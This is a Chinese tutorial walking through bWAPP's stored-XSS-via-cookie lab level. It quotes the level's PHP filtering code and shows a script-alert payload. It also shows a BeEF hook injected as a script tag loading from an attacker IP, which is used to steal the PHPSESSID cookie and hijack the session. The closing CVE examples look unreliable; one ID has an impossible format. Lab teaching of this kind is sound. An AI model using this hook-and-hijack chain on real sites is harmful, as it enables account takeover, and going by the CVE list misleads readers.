ARTICLE DETAIL

资讯详情

深耕商务建站与企业官网运营的一线实战洞察。

零基础玩转bWAPP靶场(五十七):XSS - Stored (Cookies)

零基础玩转bWAPP靶场(五十七):XSS - Stored (Cookies) 摘要这是 bWAPP 系列第五十七篇聚焦于XSS - Stored (Cookies)。这一关非常特殊——用户选择的电影类型被存入Cookie中然后在其他页面被读取并显示出来。如果输入没有过滤恶意脚本就会被存入 Cookie并在用户访问其他页面时触发。文章会演示如何通过修改 Cookie 注入 XSS连接 BeEF 并获取 Cookie。附真实案例。一、找目标目标说明漏洞类型存储型 XSS通过 Cookie 存储注入点GET 参数genre下拉菜单存储位置Cookiemovie_genre触发位置读取并显示该 Cookie 的页面工具Burp Suite BeEF获取 Cookie二、前言这一关的 XSS 触发机制这一关和之前的存储型 XSS 有所不同——之前的存储型 XSS博客留言板、修改 secret都是把数据存入数据库这一关是存入Cookie。Cookie 也是存储型 XSS 的一种载体当用户选择电影类型后服务器将选择存入 Cookie然后在其他页面读取并显示这个 Cookie 的值。如果攻击者能够控制 Cookie 的内容就可以在读取该 Cookie 的页面上触发 XSS。存储型 XSS 的核心恶意代码被持久化存储无论是数据库还是 Cookie然后在某个页面被读取并执行。这一关的攻击路径攻击者在genre参数中注入恶意脚本服务器将恶意脚本存入 Cookie用户访问可读取session的页面该页面读取并显示movie_genreCookie 的值恶意脚本在用户浏览器中执行三、关卡介绍3.1 页面功能打开这一关你会看到标题XSS - Stored (Cookies)提示Please choose your favorite movie genre:一个下拉菜单Action、Horror、Science Fiction一个 “Like” 按钮3.2 正常使用选择电影类型点击 Like页面显示Thank you for making your choice!。服务器将选择的类型存入 Cookiemovie_genre。3.3 存储型 XSS 的利用流程1. 攻击者通过 Burp 修改 genre 参数注入恶意脚本2. 服务器将恶意脚本存入 Cookie3. 用户访问 portal.php门户页面该页面显示 Cookie 值4. 恶意脚本在用户浏览器中执行四、源码分析4.1 核心逻辑if(isset($_REQUEST[genre])) { $genre $_REQUEST[genre]; ​ switch($_COOKIE[security_level]) { case 0 : // Low setcookie(movie_genre, $genre, time()3600, /, , false, false); break; case 1 : // Medium $genre xss_check_3($genre); // htmlspecialchars() setcookie(movie_genre, $genre, time()3600, /, , false, false); break; case 2 : // High // 白名单验证 switch($genre) { case action : $genre action; break; case horror : $genre horror; break; case sci-fi : $genre sci-fi; break; default : $genre unknown; break; } setcookie(movie_genre, $genre, time()3600, /, , false, false); break; } }4.2 三种级别对比级别genre过滤Cookie 存储内容漏洞Low无过滤用户原始输入存在 XSSMediumhtmlspecialchars()编码后的内容防住了High白名单验证仅允许预定义值防住了关键点Low 级别直接将用户输入存入 Cookie没有过滤Medium 级别在存储前使用htmlspecialchars()编码但需要注意的是如果读取 Cookie 时没有再次编码存储时编码了仍然安全High 级别使用白名单只允许action、horror、sci-fi五、Low 安全级别5.1 准备工作用 Burp Suite 拦截请求打开 Burp开启拦截Intercept On在浏览器中访问关卡页面选择电影类型点击 LikeBurp 拦截到 GET 请求5.2 修改 genre 参数注入 XSS在 Burp 中将genre参数修改为genrescriptalert(1)/script点击 Forward 放行。5.3 检查 Cookie放行后查看浏览器 CookieF12 → Application → Cookiesmovie_genre的值为5.4 触发 XSS访问 bWAPP 的Session Management - Cookies页面点击该页面的cookie按钮显示 Cookie 值并实现弹窗。5.5 攻击原理攻击者在genre参数中注入scriptalert(1)/script服务器Low 级别直接将恶意脚本存入movie_genreCookie用户访问smgmt_cookies_httponly.php该页面读取并显示 Cookie 值script标签被浏览器解析执行弹窗存储型 XSS 的典型特征恶意代码被存储然后在用户访问其他页面时触发。六、使用 BeEF 获取 Cookie6.1 准备 BeEFKali 中启动 BeEFsudo beef-xss-start确认 BeEF 的 IP 和端口默认3000Hook URL 为http://10.0.0.129:3000/hook.js6.2 注入 BeEF Hook按F12直接在浏览器中修改cookie值将 movie_genre 的值修改为script srchttp://10.0.0.129:3000/hook.js/script6.3 触发 XSS访问页面smgmt_cookies_httponly.php点击cookie按钮页面加载 BeEF Hook。6.4 BeEF 上线BeEF 控制面板中出现上线的浏览器。6.5 获取 Cookie选中上线的浏览器Commands→Browser→Get Cookie点击Execute6.6 会话劫持拿到PHPSESSID后在浏览器开发者工具 → Application → Cookies 中替换PHPSESSID的值刷新页面即可登录受害者账户。七、Medium 安全级别7.1 尝试注入在 Burp 中将genre参数修改为genrescriptalert(1)/scriptMedium 级别使用xss_check_3()htmlspecialchars()将转成lt;转成gt;。存入 Cookie 的值为lt;scriptgt;alert(1)lt;/scriptgt;smgmt_cookies_httponly.php显示 Cookie 时显示的是编码后的文本不执行。但是通过 F12 打开浏览器开发者工具修改movie_genre值为scriptalert(1)/script在可利用页面会产生弹窗参考意义不大。八、High 安全级别8.1 尝试注入High 级别使用白名单验证switch($genre) { case action : $genre action; break; case horror : $genre horror; break; case sci-fi : $genre sci-fi; break; default : $genre unknown; break; }如果genre不是action、horror、sci-fi中的任何一个就会被设置为unknown。攻击者无法注入任何恶意内容。High 级别完全防住了。九、真实世界Cookie 存储型 XSS 案例CVE-2024-1181某开源 CMS 的用户偏好设置存储在 Cookie 中未过滤攻击者可通过修改 Cookie 注入 XSS影响所有访问该站点的用户。CVE-2025-00847某 SaaS 平台的用户语言偏好存储在不安全的 Cookie 中攻击者可通过恶意 Cookie 注入 XSS。CVE-2026-22947F5 BIG-IP 的配置工具中部分用户设置存储在不安全的 Cookie 中存在存储型 XSS。十、总结Cookie 存储型 XSS 的特别之处在于存储介质是 Cookie但触发点在其他页面。这一关的注入点在genre参数存储位置是movie_genreCookie触发点在smgmt_cookies_httponly.php或其他读取 Cookie 的页面。Low 级别完全不过滤可以通过 Burp 修改genre参数注入 BeEF Hook然后在smgmt_cookies_httponly.php触发连接 BeEF 并获取 Cookie。Medium 级别的htmlspecialchars()编码了恶意内容防住了 XSSHigh 级别的白名单验证彻底防御。记住一句话存储型 XSS 的核心是“存储 → 触发”的链条防御需要在存储和输出两个环节都做防护。重要声明本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。如果这篇文章帮你解决了实操上的困惑别忘记点击点赞、分享也可以留言告诉我你遇到的其它问题我会尽快回复。你的关注是我坚持原创和细节共享的力量来源谢谢大家。
返回列表
PREV
查看更多资讯
NEXT
返回资讯列表